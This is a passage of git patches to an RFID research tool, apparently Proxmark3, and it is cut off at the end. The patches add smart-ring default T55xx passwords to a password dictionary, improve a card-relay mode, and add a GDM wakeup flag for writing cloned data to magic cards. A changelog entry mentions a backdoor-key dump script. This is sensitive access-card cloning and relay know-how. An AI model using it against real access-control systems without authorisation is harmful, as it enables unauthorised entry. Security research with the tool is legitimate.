2001 From: shellster Date: Fri, 1 Nov 2024 19:43:27 -0600 Subject: [PATCH 048/155] upper case --- client/dictionaries/t55xx_default_pwds.dic | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/dictionaries/t55xx_default_pwds.dic b/client/dictionaries/t55xx_default_pwds.dic index 01544c911..a6d89e62e 100644 --- a/client/dictionaries/t55xx_default_pwds.dic +++ b/client/dictionaries/t55xx_default_pwds.dic @@ -168,5 +168,5 @@ F1EA5EED # natural log 27182818 #JAKCOM R5 smart ring default credentials http://www.jakcom.com/ins/r5/r5en.html -5469616e +5469616E 51243648 From 91c6d7fe46c01f43ffbc32fe4cf93dd976f1cb76 Mon Sep 17 00:00:00 2001 From: shellster Date: Fri, 1 Nov 2024 22:19:05 -0600 Subject: [PATCH 049/155] Update CHANGELOG.md Signed-off-by: shellster --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index bf1cb7cfe..7299d70eb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -57,6 +57,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added `hf 14a aidsim` - simulates a PICC (like `14a sim`), and allows you to respond to specific AIDs and getData responses (@evildaemond) - Fixed arguments for `SimulateIso14443aTag` and `SimulateIso14443aInit` in `hf_young.c`, `hf_aveful.c`, `hf_msdsal.c`, `hf_cardhopper.c`, `hf_reblay.c`, `hf_tcprst.c` and `hf_craftbyte.c` (@archi) - Added `mf_backdoor_dump.py` script that dumps FM11RF08S and similar (Mifare Classic 1k) tag data that can be directly read by known backdoor keys. (@Aptimex) +- Add JAKCOM R5 Smart Ring default t55x passwords to dictionary (@shellster) ## [Backdoor.4.18994][2024-09-10] - Changed flashing messages to be less scary (@iceman1001) From df5e2ce05ba783660a460b148e0bd0f8757dda95 Mon Sep 17 00:00:00 2001 From: nvx Date: Sat, 2 Nov 2024 19:53:23 +1000 Subject: [PATCH 050/155] improve cardhopper to improve reliability when parts of the packet are buffered --- armsrc/Standalone/hf_cardhopper.c | 28 ++++++++++++++++++++++------ common_arm/usb_cdc.c | 4 ++++ common_arm/usb_cdc.h | 1 + 3 files changed, 27 insertions(+), 6 deletions(-) diff --git a/armsrc/Standalone/hf_cardhopper.c b/armsrc/Standalone/hf_cardhopper.c index f1aef76e6..bf31e061a 100644 --- a/armsrc/Standalone/hf_cardhopper.c +++ b/armsrc/Standalone/hf_cardhopper.c @@ -33,7 +33,10 @@ #ifdef CARDHOPPER_USB #define cardhopper_write usb_write #define cardhopper_read usb_read_ng -#define cardhopper_data_available usb_poll_validate_length +bool cardhopper_data_available(void); +bool cardhopper_data_available(void) { + return usb_read_ng_has_buffered_data() || usb_poll_validate_length(); +} #else #define cardhopper_write usart_writebuffer_sync #define cardhopper_read usart_read_ng @@ -107,14 +110,22 @@ void RunMod(void) { break; } - if (memcmp(magicREAD, modeRx.dat, sizeof(magicREAD)) == 0) { + if (modeRx.len == 0) { + DbpString(_CYAN_("[@]") " Zero length message"); + continue; + } + + if (modeRx.len == sizeof(magicREAD) && memcmp(magicREAD, modeRx.dat, sizeof(magicREAD)) == 0) { DbpString(_CYAN_("[@]") " I am a READER. I talk to a CARD."); become_reader(); - } else if (memcmp(magicCARD, modeRx.dat, sizeof(magicCARD)) == 0) { + } else if (modeRx.len == sizeof(magicCARD) && memcmp(magicCARD, modeRx.dat, sizeof(magicCARD)) == 0) { DbpString(_CYAN_("[@]") " I am a CARD. I talk to a READER."); become_card(); - } else if (memcmp(magicEND, modeRx.dat, sizeof(magicEND)) == 0) { + } else if (modeRx.len == sizeof(magicEND) && memcmp(magicEND, modeRx.dat, sizeof(magicEND)) == 0) { break; + } else if (modeRx.len == sizeof(magicRSRT) && memcmp(magicRSRT, modeRx.dat, sizeof(magicRSRT)) == 0) { + DbpString(_CYAN_("[@]") " Got RESET but already reset."); + continue; } else { DbpString(_YELLOW_("[!]") " unknown mode!"); Dbhexdump(modeRx.len, modeRx.dat, true); @@ -142,7 +153,12 @@ static void become_reader(void) { WDT_HIT(); read_packet(rx); - if (memcmp(magicRSRT, rx->dat, sizeof(magicRSRT)) == 0) break; + if (rx->len == sizeof(magicRSRT) && memcmp(magicRSRT, rx->dat, sizeof(magicRSRT)) == 0) break; + + if (BUTTON_PRESS()) { + DbpString(_CYAN_("[@]") " Button pressed - Breaking from reader loop"); + break; + } if (rx->dat[0] == ISO14443A_CMD_RATS && rx->len == 4) { // got RATS from reader, reset the card @@ -206,7 +222,7 @@ static void become_card(void) { iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN); uint8_t tagType; - uint16_t flags; + uint16_t flags = 0; uint8_t data[PM3_CMD_DATA_SIZE] = { 0 }; packet_t ats = { 0 }; prepare_emulation(&tagType, &flags, data, &ats); diff --git a/common_arm/usb_cdc.c b/common_arm/usb_cdc.c index 2447330c8..a72cb4a32 100644 --- a/common_arm/usb_cdc.c +++ b/common_arm/usb_cdc.c @@ -718,6 +718,10 @@ static uint8_t usb_read_ng_buffer[64] = {0}; static uint8_t usb_read_ng_bufoffset = 0; static uint8_t usb_read_ng_buflen = 0; +bool usb_read_ng_has_buffered_data(void) { + return usb_read_ng_buflen > 0; +} + uint32_t usb_read_ng(uint8_t *data, size_t len) { if (len == 0) { diff --git a/common_arm/usb_cdc.h b/common_arm/usb_cdc.h index 9c7cb7299..2df1acc1e 100644 --- a/common_arm/usb_cdc.h +++ b/common_arm/usb_cdc.h @@ -39,6 +39,7 @@ int async_usb_write_start(void); void async_usb_write_pushByte(uint8_t data); bool async_usb_write_requestWrite(void); int async_usb_write_stop(void); +bool usb_read_ng_has_buffered_data(void); uint32_t usb_read_ng(uint8_t *data, size_t len); void usb_update_serial(uint64_t newSerialNumber); From 6d7fcc642a6e9cf74f78e83bcc9cf97ad2602b8a Mon Sep 17 00:00:00 2001 From: nvx Date: Sat, 2 Nov 2024 22:22:13 +1000 Subject: [PATCH 051/155] add gdm flag to hf mf c* commands this enables the use of hf mf c* commands with gdm/uscuid cards when the alt wake up mode 20(7)/23 is enabled rather than gen1 wake up --- armsrc/Standalone/hf_young.c | 4 ++-- armsrc/mifarecmd.c | 33 +++++++++++++++++++++++++++ client/src/cmdhfmf.c | 41 ++++++++++++++++++++++++++-------- client/src/mifare/mifarehost.c | 10 ++++----- client/src/mifare/mifarehost.h | 4 ++-- include/protocols.h | 5 ++++- 6 files changed, 78 insertions(+), 19 deletions(-) diff --git a/armsrc/Standalone/hf_young.c b/armsrc/Standalone/hf_young.c index 1356e2954..ea47e06f8 100644 --- a/armsrc/Standalone/hf_young.c +++ b/armsrc/Standalone/hf_young.c @@ -55,7 +55,7 @@ void RunMod(void) { card_clone_t uids[OPTS]; iso14a_card_select_t card[OPTS]; - uint8_t params = (MAGIC_SINGLE | MAGIC_DATAIN); + uint8_t params = (MAGIC_SINGLE | MAGIC_WUPC | MAGIC_DATAIN); LED(selected + 1, 0); @@ -184,7 +184,7 @@ void RunMod(void) { // Mifare UID BCC block0[4] = block0[0]^block0[1]^block0[2]^block0[3]; // BCC on byte 5 Bytes 5-7 are reserved SAK and ATQA for mifare classic - -Use mfCSetBlock(0, block0, oldUID, wantWipe, MAGIC_SINGLE) to write it + -Use mfCSetBlock(0, block0, oldUID, wantWipe, MAGIC_SINGLE | MAGIC_WUPC) to write it */ uint8_t oldBlock0[16] = {0}, newBlock0[16] = {0}; // arg0 = Flags, arg1=blockNo diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index e2d985096..167e1d640 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -2552,6 +2552,7 @@ out: // bit 4 - need turn off FPGA // bit 5 - need to set datain instead of issuing USB reply (called via ARM for StandAloneMode14a) // bit 6 - wipe tag. +// bit 7 - use USCUID/GDM (20/23) magic wakeup //----------------------------------------------------------------------------- void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { @@ -2620,6 +2621,22 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { mifare_classic_halt(NULL); } + if (workFlags & MAGIC_GDM_ALT_WUPC) { + ReaderTransmitBitsPar(wupGDM1, 7, NULL, NULL); + if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("wupGDM1 error"); + errormsg = MAGIC_WUPC; + break; + } + + ReaderTransmit(wupGDM2, sizeof(wupC2), NULL); + if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("wupGDM2 error"); + errormsg = MAGIC_WUPC; + break; + } + } + // write block if (workFlags & MAGIC_WUPC) { ReaderTransmitBitsPar(wupC1, 7, NULL, NULL); @@ -2706,6 +2723,22 @@ void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { //loop doesn't loop just breaks out if error or done while (true) { + if (workFlags & MAGIC_GDM_ALT_WUPC) { + ReaderTransmitBitsPar(wupGDM1, 7, NULL, NULL); + if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("wupGDM1 error"); + errormsg = MAGIC_WUPC; + break; + } + + ReaderTransmit(wupGDM2, sizeof(wupC2), NULL); + if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("wupGDM2 error"); + errormsg = MAGIC_WUPC; + break; + } + } + if (workFlags & MAGIC_WUPC) { ReaderTransmitBitsPar(wupC1, 7, NULL, NULL); if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index 765bb53cf..235dcb1bf 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -5166,6 +5166,7 @@ static int CmdHF14AMfCSetUID(const char *Cmd) { arg_str0("u", "uid", "", "UID, 4/7 hex bytes"), arg_str0("a", "atqa", "", "ATQA, 2 hex bytes"), arg_str0("s", "sak", "", "SAK, 1 hex byte"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -5183,6 +5184,7 @@ static int CmdHF14AMfCSetUID(const char *Cmd) { int slen = 0; uint8_t sak[1] = {0x00}; CLIGetHexWithReturn(ctx, 4, sak, &slen); + uint8_t gdm = arg_get_lit(ctx, 5); CLIParserFree(ctx); // sanity checks @@ -5209,7 +5211,8 @@ static int CmdHF14AMfCSetUID(const char *Cmd) { (slen) ? sak : NULL, old_uid, verify_uid, - wipe_card + wipe_card, + gdm ); if (res) { @@ -5240,6 +5243,7 @@ static int CmdHF14AMfCWipe(const char *cmd) { arg_str0("u", "uid", "", "UID, 4 hex bytes"), arg_str0("a", "atqa", "", "ATQA, 2 hex bytes"), arg_str0("s", "sak", "", "SAK, 1 hex byte"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, cmd, argtable, true); @@ -5255,6 +5259,7 @@ static int CmdHF14AMfCWipe(const char *cmd) { int slen = 0; uint8_t sak[1] = {0x00}; CLIGetHexWithReturn(ctx, 3, sak, &slen); + uint8_t gdm = arg_get_lit(ctx, 4); CLIParserFree(ctx); if (uidlen && uidlen != 4) { @@ -5270,7 +5275,7 @@ static int CmdHF14AMfCWipe(const char *cmd) { return PM3_EINVARG; } - int res = mfCWipe((uidlen) ? uid : NULL, (alen) ? atqa : NULL, (slen) ? sak : NULL); + int res = mfCWipe((uidlen) ? uid : NULL, (alen) ? atqa : NULL, (slen) ? sak : NULL, gdm); if (res) { PrintAndLogEx(ERR, "Can't wipe card. error %d", res); return PM3_ESOFT; @@ -5292,6 +5297,7 @@ static int CmdHF14AMfCSetBlk(const char *Cmd) { arg_int1("b", "blk", "", "block number"), arg_str0("d", "data", "", "bytes to write, 16 hex bytes"), arg_lit0("w", "wipe", "wipes card with backdoor cmd before writing"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -5303,6 +5309,7 @@ static int CmdHF14AMfCSetBlk(const char *Cmd) { CLIGetHexWithReturn(ctx, 2, data, &datalen); uint8_t wipe_card = arg_get_lit(ctx, 3); + uint8_t gdm = arg_get_lit(ctx, 4); CLIParserFree(ctx); if (b < 0 || b >= MIFARE_1K_MAXBLOCK) { @@ -5316,6 +5323,12 @@ static int CmdHF14AMfCSetBlk(const char *Cmd) { } uint8_t params = MAGIC_SINGLE; + if (gdm) { + params |= MAGIC_GDM_ALT_WUPC; + } else { + params |= MAGIC_WUPC; + } + if (wipe_card) { params |= MAGIC_WIPE; } @@ -5347,6 +5360,7 @@ static int CmdHF14AMfCLoad(const char *Cmd) { arg_lit0(NULL, "2k", "MIFARE Classic/Plus 2k"), arg_lit0(NULL, "4k", "MIFARE Classic 4k / S70"), arg_lit0(NULL, "emu", "from emulator memory"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -5360,6 +5374,7 @@ static int CmdHF14AMfCLoad(const char *Cmd) { bool m2 = arg_get_lit(ctx, 4); bool m4 = arg_get_lit(ctx, 5); bool fill_from_emulator = arg_get_lit(ctx, 6); + bool gdm = arg_get_lit(ctx, 7); CLIParserFree(ctx); @@ -5393,7 +5408,7 @@ static int CmdHF14AMfCLoad(const char *Cmd) { if (fill_from_emulator) { - PrintAndLogEx(INFO, "Start upload to emulator memory"); + PrintAndLogEx(INFO, "Start upload from emulator memory"); PrintAndLogEx(INFO, "." NOLF); for (int b = 0; b < block_cnt; b++) { @@ -5408,7 +5423,7 @@ static int CmdHF14AMfCLoad(const char *Cmd) { // switch on field and send magic sequence if (b == 0) { - flags = MAGIC_INIT + MAGIC_WUPC; + flags = MAGIC_INIT | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); } // just write @@ -5456,7 +5471,7 @@ static int CmdHF14AMfCLoad(const char *Cmd) { // switch on field and send magic sequence if (blockno == 0) { - flags = MAGIC_INIT + MAGIC_WUPC; + flags = MAGIC_INIT | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); } // write @@ -5511,11 +5526,13 @@ static int CmdHF14AMfCGetBlk(const char *Cmd) { arg_param_begin, arg_int1("b", "blk", "", "block number"), arg_lit0("v", "verbose", "verbose output"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); int b = arg_get_int_def(ctx, 1, 0); bool verbose = arg_get_lit(ctx, 2); + bool gdm = arg_get_lit(ctx, 3); CLIParserFree(ctx); if (b > 255) { @@ -5524,7 +5541,7 @@ static int CmdHF14AMfCGetBlk(const char *Cmd) { uint8_t blockno = (uint8_t)b; uint8_t data[16] = {0}; - int res = mfCGetBlock(blockno, data, MAGIC_SINGLE); + int res = mfCGetBlock(blockno, data, MAGIC_SINGLE | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC)); if (res) { PrintAndLogEx(ERR, "Can't read block. error=%d", res); return PM3_ESOFT; @@ -5553,11 +5570,13 @@ static int CmdHF14AMfCGetSc(const char *Cmd) { arg_param_begin, arg_int1("s", "sec", "", "sector number"), arg_lit0("v", "verbose", "verbose output"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); int s = arg_get_int_def(ctx, 1, 0); bool verbose = arg_get_lit(ctx, 2); + bool gdm = arg_get_lit(ctx, 3); CLIParserFree(ctx); if (s >= MIFARE_4K_MAXSECTOR) { @@ -5575,7 +5594,7 @@ static int CmdHF14AMfCGetSc(const char *Cmd) { start = 128 + (sector - 32) * 16; } - int flags = MAGIC_INIT + MAGIC_WUPC; + int flags = MAGIC_INIT + (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); uint8_t data[16] = {0}; for (int i = 0; i < blocks; i++) { if (i == 1) flags = 0; @@ -5612,6 +5631,7 @@ static int CmdHF14AMfCSave(const char *Cmd) { arg_lit0(NULL, "2k", "MIFARE Classic/Plus 2k"), arg_lit0(NULL, "4k", "MIFARE Classic 4k / S70"), arg_lit0(NULL, "emu", "to emulator memory"), + arg_lit0(NULL, "gdm", "to emulator memory"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -5625,6 +5645,7 @@ static int CmdHF14AMfCSave(const char *Cmd) { bool m2 = arg_get_lit(ctx, 4); bool m4 = arg_get_lit(ctx, 5); bool fill_emulator = arg_get_lit(ctx, 6); + bool gdm = arg_get_lit(ctx, 7); CLIParserFree(ctx); // validations @@ -5692,7 +5713,7 @@ static int CmdHF14AMfCSave(const char *Cmd) { } // switch on field and send magic sequence - uint8_t flags = MAGIC_INIT + MAGIC_WUPC; + uint8_t flags = MAGIC_INIT + (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); for (uint16_t i = 0; i < block_cnt; i++) { // read @@ -5766,6 +5787,7 @@ static int CmdHF14AMfCView(const char *Cmd) { arg_lit0(NULL, "2k", "MIFARE Classic/Plus 2k"), arg_lit0(NULL, "4k", "MIFARE Classic 4k / S70"), arg_lit0("v", "verbose", "verbose output"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -5774,6 +5796,7 @@ static int CmdHF14AMfCView(const char *Cmd) { bool m2 = arg_get_lit(ctx, 3); bool m4 = arg_get_lit(ctx, 4); bool verbose = arg_get_lit(ctx, 5); + bool gdm = arg_get_lit(ctx, 6); CLIParserFree(ctx); // validations @@ -5840,7 +5863,7 @@ static int CmdHF14AMfCView(const char *Cmd) { } // switch on field and send magic sequence - uint8_t flags = MAGIC_INIT + MAGIC_WUPC; + uint8_t flags = MAGIC_INIT + (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); for (uint16_t i = 0; i < block_cnt; i++) { // read if (i == 1) { diff --git a/client/src/mifare/mifarehost.c b/client/src/mifare/mifarehost.c index ebe119a78..d24fe35ce 100644 --- a/client/src/mifare/mifarehost.c +++ b/client/src/mifare/mifarehost.c @@ -1058,9 +1058,9 @@ int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidt } // "MAGIC" CARD -int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t *sak, uint8_t *old_uid, uint8_t *verifed_uid, uint8_t wipecard) { +int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t *sak, uint8_t *old_uid, uint8_t *verifed_uid, uint8_t wipecard, uint8_t gdm) { - uint8_t params = MAGIC_SINGLE; + uint8_t params = MAGIC_SINGLE | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); uint8_t block0[MFBLOCK_SIZE]; memset(block0, 0x00, sizeof(block0)); @@ -1111,7 +1111,7 @@ int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t * res = mfCSetBlock(0, block0, NULL, params); if (res == PM3_SUCCESS) { - params = MAGIC_SINGLE; + params = MAGIC_SINGLE | MAGIC_WUPC; memset(block0, 0, sizeof(block0)); res = mfCGetBlock(0, block0, params); if (res == 0) { @@ -1123,13 +1123,13 @@ int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t * return res; } -int mfCWipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak) { +int mfCWipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak, uint8_t gdm) { uint8_t block0[MFBLOCK_SIZE] = {0x00, 0x56, 0x78, 0xBB, 0x95, 0x08, 0x04, 0x00, 0x02, 0xB2, 0x1E, 0x24, 0x23, 0x27, 0x1E, 0x1D}; // uint8_t block0[MFBLOCK_SIZE] = {0x04, 0x03, 0x02, 0x01, 0x04, 0x08, 0x04, 0x00, 0x64, 0xB9, 0x95, 0x11, 0x4D, 0x20, 0x42, 0x09}; uint8_t blockD[MFBLOCK_SIZE] = {0x00}; // default transport ACL uint8_t blockK[MFBLOCK_SIZE] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x07, 0x80, 0x69, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; - uint8_t params = MAGIC_SINGLE; + uint8_t params = MAGIC_SINGLE | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); if (uid != NULL) { memcpy(block0, uid, 4); diff --git a/client/src/mifare/mifarehost.h b/client/src/mifare/mifarehost.h index 22460b170..facb6c007 100644 --- a/client/src/mifare/mifarehost.h +++ b/client/src/mifare/mifarehost.h @@ -92,8 +92,8 @@ int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount); int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount); int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth); -int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t *sak, uint8_t *old_uid, uint8_t *verifed_uid, uint8_t wipecard); -int mfCWipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak); +int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t *sak, uint8_t *old_uid, uint8_t *verifed_uid, uint8_t wipecard, uint8_t gdm); +int mfCWipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak, uint8_t gdm); int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params); int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params); diff --git a/include/protocols.h b/include/protocols.h index 58c857a6f..3aa40ea79 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -250,6 +250,8 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. // bit 3 - turn on FPGA // bit 4 - turn off FPGA // bit 5 - set datain instead of issuing USB reply (called via ARM for StandAloneMode14a) +// bit 6 - wipe tag. +// bit 7 - use USCUID/GDM (20/23) magic wakeup #define MAGIC_UID 0x01 #define MAGIC_WUPC 0x02 #define MAGIC_HALT 0x04 @@ -257,7 +259,8 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define MAGIC_OFF 0x10 #define MAGIC_DATAIN 0x20 #define MAGIC_WIPE 0x40 -#define MAGIC_SINGLE (MAGIC_WUPC | MAGIC_HALT | MAGIC_INIT | MAGIC_OFF) //0x1E +#define MAGIC_GDM_ALT_WUPC 0x80 +#define MAGIC_SINGLE (MAGIC_HALT | MAGIC_INIT | MAGIC_OFF) //0x1E // by CMD_HF_MIFARE_CIDENT / Flags #define MAGIC_FLAG_NONE 0x0000 From 1157ef0b3815870ee9000ff86c9a42bb1ca955de Mon Sep 17 00:00:00 2001 From: nvx Date: Sat, 2 Nov 2024 22:24:45 +1000 Subject: [PATCH 052/155] update changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7299d70eb..6431af575 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `hf mf c*` - now accepts a --gdm flag to write using uscuid/gdm 20/23 alt magic wakeup (@nvx) - Changed `pm3_console()` - Python/Lua/C: replace `passthru` by `capture` and `quiet` (@doegox) - Fixed `hf iclass list` - annotation crc handled better (@iceman1001) - Fixed `hf_mf_uscuid_prog.lua` - bad divisions and code style fixes (@iceman1001) From ef0cf93a5dba1e60450244183370e15fe60cb2bb Mon Sep 17 00:00:00 2001 From: nvx Date: Sat, 2 Nov 2024 23:33:20 +1000 Subject: [PATCH 053/155] fix typos and regenerate command list --- CHANGELOG.md | 2 +- armsrc/Standalone/hf_cardhopper.c | 2 +- armsrc/iso14443a.c | 6 +- armsrc/mifareutil.c | 2 +- client/src/cmdanalyse.c | 16 ++--- client/src/pm3line_vocabulary.h | 3 +- doc/commands.json | 101 +++++++++++++++++++----------- doc/commands.md | 3 +- doc/magic_cards_notes.md | 6 +- 9 files changed, 85 insertions(+), 56 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6431af575..36d637697 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1728,7 +1728,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added `lf t55xx recoverpw` - adds a new password recovery using bitflips and partial flips if password write went bad. (@alexgrin) - `hf legic` - added improved legic data mapping. (jason) - `hf mf mifare` - added possibility to target key A|B (@douniwan5788) - - Added `analyse lcr` - added a new main command group, to help analysing bytes & bits & nibbles. (@iceman1001) + - Added `analyse lrc` - added a new main command group, to help analysing bytes & bits & nibbles. (@iceman1001) - Added `lf nedap` - added identification of a NEDAP tag. (@iceman1001) - `lf viking clone` - fixed a bug. (@iceman1001) - Added bitsliced bruteforce solver in `hf mf hardnested` (@Aczid) diff --git a/armsrc/Standalone/hf_cardhopper.c b/armsrc/Standalone/hf_cardhopper.c index bf31e061a..4b4321a37 100644 --- a/armsrc/Standalone/hf_cardhopper.c +++ b/armsrc/Standalone/hf_cardhopper.c @@ -492,7 +492,7 @@ static void read_packet(packet_t *packet) { if (packet->len == 0x50 && dataReceived >= sizeof(PacketResponseNGPreamble) && packet->dat[0] == 0x4D && packet->dat[1] == 0x33 && packet->dat[2] == 0x61) { // PM3 NG packet magic - DbpString(_CYAN_("[@]") " PM3 NG packet recieved - ignoring"); + DbpString(_CYAN_("[@]") " PM3 NG packet received - ignoring"); // clear any remaining buffered data while (cardhopper_data_available()) { diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 0aabc64be..f14e48504 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -4047,15 +4047,15 @@ void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *data, uin // aid len is found as a hex value in receivedCmd[6] (Index Starts at 0) int aid_len = receivedCmd[6]; - uint8_t *recieved_aid = &receivedCmd[7]; + uint8_t *received_aid = &receivedCmd[7]; // aid enumeration flag if (enumerate == true) { Dbprintf("Received AID (%d):", aid_len); - Dbhexdump(aid_len, recieved_aid, false); + Dbhexdump(aid_len, received_aid, false); } - if (memcmp(aidFilter, recieved_aid, aid_len) == 0) { // Evaluate the AID sent by the Reader to the AID supplied + if (memcmp(aidFilter, received_aid, aid_len) == 0) { // Evaluate the AID sent by the Reader to the AID supplied // AID Response will be parsed here memcpy(dynamic_response_info.response + 2, aidResponse, respondLen + 2); dynamic_response_info.response_n = respondLen + 2; diff --git a/armsrc/mifareutil.c b/armsrc/mifareutil.c index 60372aa3f..9f4b87674 100644 --- a/armsrc/mifareutil.c +++ b/armsrc/mifareutil.c @@ -480,7 +480,7 @@ int mifare_ultra_aes_auth(uint8_t keyno, uint8_t *keybytes) { mbedtls_aes_setkey_enc(&actx, key, 128); mbedtls_aes_crypt_cbc(&actx, MBEDTLS_AES_ENCRYPT, sizeof(enc_rnd_ab), IV, rnd_ab, enc_rnd_ab); - // send & recieve + // send & receive len = mifare_sendcmd(MIFARE_ULAES_AUTH_2, enc_rnd_ab, sizeof(enc_rnd_ab), resp, sizeof(resp), respPar, NULL); if (len != 19) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Cmd Error: %02x - expected 19 got " _RED_("%u"), resp[0], len); diff --git a/client/src/cmdanalyse.c b/client/src/cmdanalyse.c index d3456950d..d5f86a161 100644 --- a/client/src/cmdanalyse.c +++ b/client/src/cmdanalyse.c @@ -40,10 +40,10 @@ static int CmdHelp(const char *Cmd); static uint8_t calculateLRC(const uint8_t *d, uint8_t n) { - uint8_t lcr = 0; + uint8_t lrc = 0; for (uint8_t i = 0; i < n; i++) - lcr ^= d[i]; - return lcr; + lrc ^= d[i]; + return lrc; } /* static uint16_t matrixadd ( uint8_t* bytes, uint8_t len){ @@ -242,17 +242,17 @@ static int CmdAnalyseLfsr(const char *Cmd) { return PM3_SUCCESS; } -static int CmdAnalyseLCR(const char *Cmd) { +static int CmdAnalyseLRC(const char *Cmd) { CLIParserContext *ctx; - CLIParserInit(&ctx, "analyse lcr", + CLIParserInit(&ctx, "analyse lrc", "Specifying the bytes of a UID with a known LRC will find the last byte value\n" "needed to generate that LRC with a rolling XOR. All bytes should be specified in HEX.", - "analyse lcr -d 04008064BA -> Target (BA) requires final LRC XOR byte value: 5A" + "analyse lrc -d 04008064BA -> Target (BA) requires final LRC XOR byte value: 5A" ); void *argtable[] = { arg_param_begin, - arg_str1("d", "data", "", "bytes to calc missing XOR in a LCR"), + arg_str1("d", "data", "", "bytes to calc missing XOR in a LRC"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -1171,7 +1171,7 @@ static int CmdAnalyseUnits(const char *Cmd) { static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, - {"lcr", CmdAnalyseLCR, AlwaysAvailable, "Generate final byte for XOR LRC"}, + {"lrc", CmdAnalyseLRC, AlwaysAvailable, "Generate final byte for XOR LRC"}, {"crc", CmdAnalyseCRC, AlwaysAvailable, 